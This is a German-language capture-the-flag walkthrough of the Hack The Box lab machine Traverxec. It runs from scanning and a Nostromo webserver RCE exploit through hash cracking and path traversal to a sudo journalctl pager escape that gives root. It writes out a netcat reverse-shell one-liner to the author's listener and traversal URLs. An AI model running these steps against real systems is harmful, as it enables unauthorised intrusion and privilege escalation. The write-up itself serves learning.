Einleitung – was ist HTB
hackthebox.eu ist im Prinzip eine Plattform wo mal mehr, mal weniger realitätsnahe virtuelle Maschinen in einer Netzwerk-Laborumgebung stehen. Per VPN kann man sich in das Netzwerk verbinden und über das Dashboard der Seite, sich eine gewünschte Maschine „auserwählen“. Ziel ist es immer Root Zugriff zu erlangen. Als Beweis muss man Zugriff auf die user.txt und root.txt erlangen, bzw. den dort enthaltenen Key auszulesen. Beide Dateien befinden sich in dem entsprechenden Home Verzeichnis oder auf dem Desktop. Die Keys kann man in seinem Dashboard eintragen und erhält somit (abhängig von der Schwierigkeit der Maschine) Punkte. Man kann wie ein Spiel betrachten, bei welchem man viel Zeit investieren muss aber im Gegenzug dafür eine Menge lernt.
Inspiriert dazu, hat mich das Video von IppSec auf welches ich zufällig gestoßen bin und was ich (neben allen seiner anderen Videos) jedem empfehlen kann, wer sich für das Thema Penetration Testing interessiert.
Traverxec ist eine Box mit einem relativ realistischen Setup. Der eingesetzte Webserver ist angreifbar und über ein Exploit bekommt man Zugriff auf die Shell. In der Config des Webservers findet man Weitere nützliche Informationen und kann sich Zugriff auf einen geschützten Bereich verschaffen. Dort findet man einen SSH Key. Das Passwort für diesen muss man jedoch erst knacken. Nachdem man sich Zugriff via SSH verschafft hat, erreicht man Root Zugriff über das Journal des Servers.
Scan & Exploit
Der Port Scan findet zwei offene Ports und gibt uns eine interessante Information zum Webserver.
nmap -sC -sV -oA nmap 10.10.10.165
Auf der Server läuft der Webservice Nostromo 1.9.6. Eine kurze Suche über Searchsploit
searchsploit nostromo
gibt uns direkt ein passendes Ergebnis
Das python Exploit ermöglicht es, aus dem Root Verzeichnis des Webservers auszubrechen und die Shell aufzurufen. https://www.exploit-db.com/exploits/47837
Als ersten Parameter erwartet das Script die Zieladresse und den Port, als zweiten Parameter einen Befehl, welcher ausgeführt werden soll.
Ich öffne mit NC eine Port bei mir lokal und starte das Exploit mit dem Aufruf einer reverse Shell
mkfifo /tmp/p; nc 10.10.15.220 4040 0</tmp/p | /bin/sh > /tmp/p 2>&1;rm /tmp/p
Ich bekomme einen Connect und bin als www-data auf der Maschine.
Mit python3 -c 'import pty; pty.spawn("/bin/bash")'
spawn ich mir eine tty session.
Anschließend schau ich mir erstmal unter /var/nostromo
den Aufbau des Webservers genauer an und finde zwei interessante Dateien.
David
In der .htpasswd finde ich einen Username und einen Hash.
Diesen mit john gecrackt, bekomme ich zu dem User david auch ein Kennwort.
Ein versuch mich per SSH einzuloggen scheitert jedoch.
Also schau ich mir die config des Nostromo Servers an, immerhin muss ja der gefundene User und das Kennwort irgendwo passen.
Ich google nach „nostromo config“ und werde auf der Seite hier schlauer: http://www.nazgul.ch/dev/nostromo_man.html
Vor allem der folgende Bereich klingt interessant
Ich versuche also direkt einen Aufruf von http://10.10.10.165/~david/
Hmm, keine Aufforderung zur Authentifizierung, hier scheint es erstmal nichts weiter zu geben, der Quelltext gibt auch keine Informationen her.
Ich versuche über die Shell mir den Inhalt von Johns Home Verzeichnis anzusehen.
Habe aber nur Berechtigungen zum Ausführen von Dateien aber nicht zum Auflisten.
Secret Home
Der Hinweiß in der MAN Seite beschreibt aber noch einen geschützten Bereich innerhalb des Home Verzeichnisses, vielleicht befinden wir uns ja in diesem Ordner. Eigentlich sagt es ja schon die config aber ich schau mir das Exploit nochmal genauer an: Über .%0d.
kann man wohl in das übergeordnete Verzeichnis wechsel.
http://10.10.10.165/~david/.%0d./.%0d./
Gibt uns folgende Ausgabe
Wir befinden uns also im Ordner „public_www“, nur leider können wir den Inhalt dieses Ordners oder andere Ordner nicht auflisten.
http://10.10.10.165/~david/.%0d./.%0d./david/users.txt
oder
http://10.10.10.165/~david/.%0d./.%0d./david/.ssh/
geben uns ein Access denied zurück.
Ich muss zugeben, ich hab länger als notwendig gebraucht um an die doch recht simple Lösung zu kommen. Unter anderem hab ich erstmal versucht eine zweite Instanz des Nostrom Dienstes mit einer eigenen Config zu starten. Denn ich hab in der config gesehen, dass der Server unter dem User www-data läuft mir daher die Config kopiert, den Port geändert und den user david eingetragen. Leider klappt das starten einer weiteren Nostromo Instanz über httpd -c configfile
nur wenn in der config der user www-data eingetragen ist und das bringt mich nicht weiter.
Die Lösung ist aber eh viel einfacher, denn den Ordnerinhalt von public_www kann man nämlich einfach mit der shell auflisten.
Dort finden wir ein Verzeichnis protected-file-area
und ein backup.
Ich lade mir das tar file auf mein lokales System und entpacke es. Enthalten ist der private Key von david.
Mit John bekomme ich auch dafür das Passwort
Jetzt kann ich mich mit dem private Key und Kennwort per SSH einloggen
Journal
In dem Verzeichnis /home/david
finden wir den Ordner bin
Dieser enthält ein Script, welches uns einen weiteren Hinweiß liefert
Nachdem ich Schreibrechte auf das Script habe, versuche ich zuerst dieses zu ändern, scheitere aber komischerweise daran
Also schau ich mir das Script mal genauer an.
Die letzte Zeile in dem Script ruft das Journal mit erweiterten (Root) Rechten auf. Jetzt muss ich nur noch herausfinden wie ich das ausnutzen kann. Ich kopiere mir die Zeile raus und schau inwieweit der Befehl eingeschränkt ist. Ich finde heraus das
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Noch geht, aber das Weglassen von einem weiteren Buchstaben am Ende dazu führt, dass ich ein Kennwort eingeben muss
Ich google also nach journalctl und finde heraus, dass der Befehl normalerweise den default Pager öffnen sollte (welcher wiederum less
verwendet). Die Ausgabe Zeigt aber, dass er (auch ohne die Ausgabe nach cat
zu pipen) sofort wieder in die Shell zurückkehrt.
Bei mir lokal funktioniert es jedoch. Eher durch Zufall probiere ich mir eine neue Shell per Python aufzurufen und gebe anschließend nochmal den Befehl ein.
Es hat geklappt, ich befinde mich nun im Pager.
Root
Den Befehl zum Ausbrechen findet man leicht über Google: https://gtfobins.github.io/gtfobins/journalctl/
Über den Befehl
!/bin/sh
spawne ich mir also ein neue Shell und bin Root.
Sudoers
Aus Interesse schau ich mir noch die sudoes Datei an und finde hier die entscheidene Einstellung, welche uns den Aufruf des Journals als root ermöglicht.
Terminal Größe
Mich interessiert vor allem der Grund, warum ich mit der python Shell in den Pager Modus vom Journal komme, mit der SSH Session aber nicht. Beide haben eine tty. Daher schaue ich mir per stty -a
die Terminal Größe an und finde einen unterschied zwischen der Python Session und der normalen SSH Session https://linux.die.net/man/1/stty
Ich ändere also die row und column size und probiere es nochmal, so klappt es!
File Immutable
Die Erklärung übrigens, warum man das Script server-stats.sh
nicht ändern konnte, finde ich auf dieser Seite: https://delightlylinux.wordpress.com/2012/12/11/file-immutable-attribute/
Der Befehl lsattr
zeigt uns, dass das Immunitätsflag gesetzt ist.